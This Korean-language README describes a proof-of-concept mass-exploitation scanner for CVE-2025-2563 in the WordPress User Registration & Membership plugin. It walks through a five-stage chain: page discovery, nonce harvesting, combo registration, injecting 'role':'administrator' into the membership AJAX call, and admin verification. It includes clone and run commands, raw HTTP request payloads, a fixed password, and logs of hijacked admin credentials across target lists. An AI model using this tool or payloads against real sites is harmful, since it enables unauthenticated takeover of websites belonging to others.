
User Registration & Membership WordPress 플러그인 4.1.2 이전 버전은 Membership Addon이 활성화되었을 때 사용자가 계정 역할을 설정하는 것을 막지 않아 권한 상승 문제가 발생하며, 인증되지 않은 사용자가 관리자 권한을 획득할 수 있습니다.
User Registration & Membership WordPress 플러그인 4.1.2 이전 버전에서는 Membership Addon이 활성화된 경우 사용자가 자신의 계정 역할을 설정하는 것을 막지 않아 권한 상승 문제가 발생하며, 인증되지 않은 사용자가 관리자 권한을 획득할 수 있습니다.
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2025-2563 |
| 심각도 | 높음 — CVSS v3.1 점수: 8.1 |
| 벡터 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| 영향받는 소프트웨어 | WordPress용 User Registration & Membership 플러그인 |
| 영향받는 버전 | 4.1.2 미만의 모든 버전 |
| 취약점 유형 | 부적절한 권한 관리 — 인증되지 않은 관리자 계정 생성 |
| 필요한 인증 | 없음 |
| CWE | CWE-269: 부적절한 권한 관리 |
설명:
WordPress용 User Registration & Membership 플러그인 버전 4.1.2 미만에서는 Membership Addon이 활성화된 경우 서버 측 역할 제한을 적용하지 못합니다. 멤버십 등록 과정에서 플러그인은 user_registration_membership_register_member AJAX 액션 내에서 사용자가 제공한 role 필드를 서버 측 허용 목록에 대해 검증하지 않고 그대로 수락합니다. 완전히 인증되지 않은 원격 공격자는 조작된 2단계 AJAX 체인을 전송하여 — 먼저 user_registration_user_form_submit을 통해 새 사용자 계정을 등록한 다음, 멤버십 호출의 members_data 페이로드에 "role": "administrator"를 주입하여 — 완전한 권한을 가진 WordPress 관리자 계정을 자동으로 생성할 수 있습니다. 이로 인해 인증이나 사용자 상호 작용 없이 사이트가 완전히 손상됩니다.
취약한 버전의 User Registration & Membership 플러그인이 설치되어 있고 Membership Addon이 활성화된 WordPress 설치를 대상으로 하는 개념 증명(PoC) 대량 악용 스캐너입니다. 이 도구는 자동 탐지, nonce 수집, 콤보 기반 등록, 역할 주입 및 관리자 확인을 포함한 지능형 다단계 악용을 수행합니다.
[1단계 — 탐색]
GET /membership-pricing/ → membership_id, 가격 링크 추출
GET /membership-registration/ → form_id, nonce, 보안 토큰 추출
GET /registration/ → 대체 등록 페이지
↓
[2단계 — Nonce 추출]
구문 분석: ur_membership_frontend_localized_data._nonce
구문 분석: ur_frontend_form_nonce, security, form_id, membership_id
↓
[3단계 — 등록 (콤보 공격)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ 성공(success=true)할 때까지 유효한 모든 조합 시도
↓
[4단계 — 역할 주입 (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ 서버가 새로 생성된 사용자에게 관리자 역할 할당
↓
[5단계 — 관리자 확인]
POST /wp-login.php → 새 자격 증명으로 로그인
GET /wp-admin/ → adminmenu / wp-admin-bar 확인
GET /wp-admin/users.php → manage_options 접근 확인
GET /wp-admin/plugin-install.php → plugin-install 접근 확인
↓
[Nx_admin.txt에 저장]
형식: [타임스탬프] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
또는 요구 사항 파일 이용:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# 저장소 클론
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# 종속성 설치
pip install -r requirements.txt
# 도구 실행
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
도구는 Rich 기반의 완전 인터랙티브 터미널 인터페이스를 사용합니다.
일반 텍스트 파일(기본값: list.txt)을 만드세요 — 한 줄에 하나의 대상:
https://target1.com
https://target2.com
http://target3.com
target4.com
http://또는https://가 없는 대상은 자동으로https://가 접두사로 추가됩니다.
대상 파일 [list.txt]: list.txt
스레드 수 [3]: 5
HTTP 시간 초과(초) [10]: 10
대상당 최대 등록 시도 횟수 [20]: 20
비밀번호는 모든 등록 시도에 대해 내부적으로
Nx_adminSA로 고정됩니다.
도구는 대상 당 자동으로 세 페이지를 검사합니다:
| 페이지 | 목적 |
|---|---|
/membership-pricing/ | membership_id 및 등록 링크 추출 |
/membership-registration/ | 양식 토큰, nonce 및 필드 ID 추출 |
/membership-registration/?membership_id=<id> | 요금제별 양식 추출 |
/registration/ | 대체 일반 등록 페이지 |
다음 토큰은 원시 HTML 및 인라인 JavaScript에서 추출됩니다:
| 토큰 | 출처 |
|---|---|
_nonce | ur_membership_frontend_localized_data JS 객체 |
ur_frontend_form_nonce | 숨겨진 input 필드 또는 JS 객체 |
security | user_registration_params.user_registration_form_data_save |
form_id | 숨겨진 input ur-user-form-id 또는 JS 객체 |
membership_id | 라디오 input urm_membership 또는 URL 쿼리 문자열 |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>
도구는 success: true 응답을 받을 때까지 발견된 모든 security, frontend_nonce, form_id, membership_id 조합을 자동으로 반복합니다.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
"role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}
⚠️ 서버는
role필드를 허용 목록 없이 수락합니다 — 이것이 CVE-2025-2563의 근본 원인입니다.
| 파일 | 설명 |
|---|---|
reg.txt | 모든 성공적인 등록 시도와 자격 증명 |
Nx_admin.txt | 모든 확인된 관리자 권한 상승 |
reg.txt:
[2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA
╔══════════════════════════════════════════════════════════════════╗
║ User Registration Membership Full Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[스캐닝] https://target.com
[악용중] https://target.com | nonce + reg OK
[악용됨] https://target.com | password: Nx_adminSA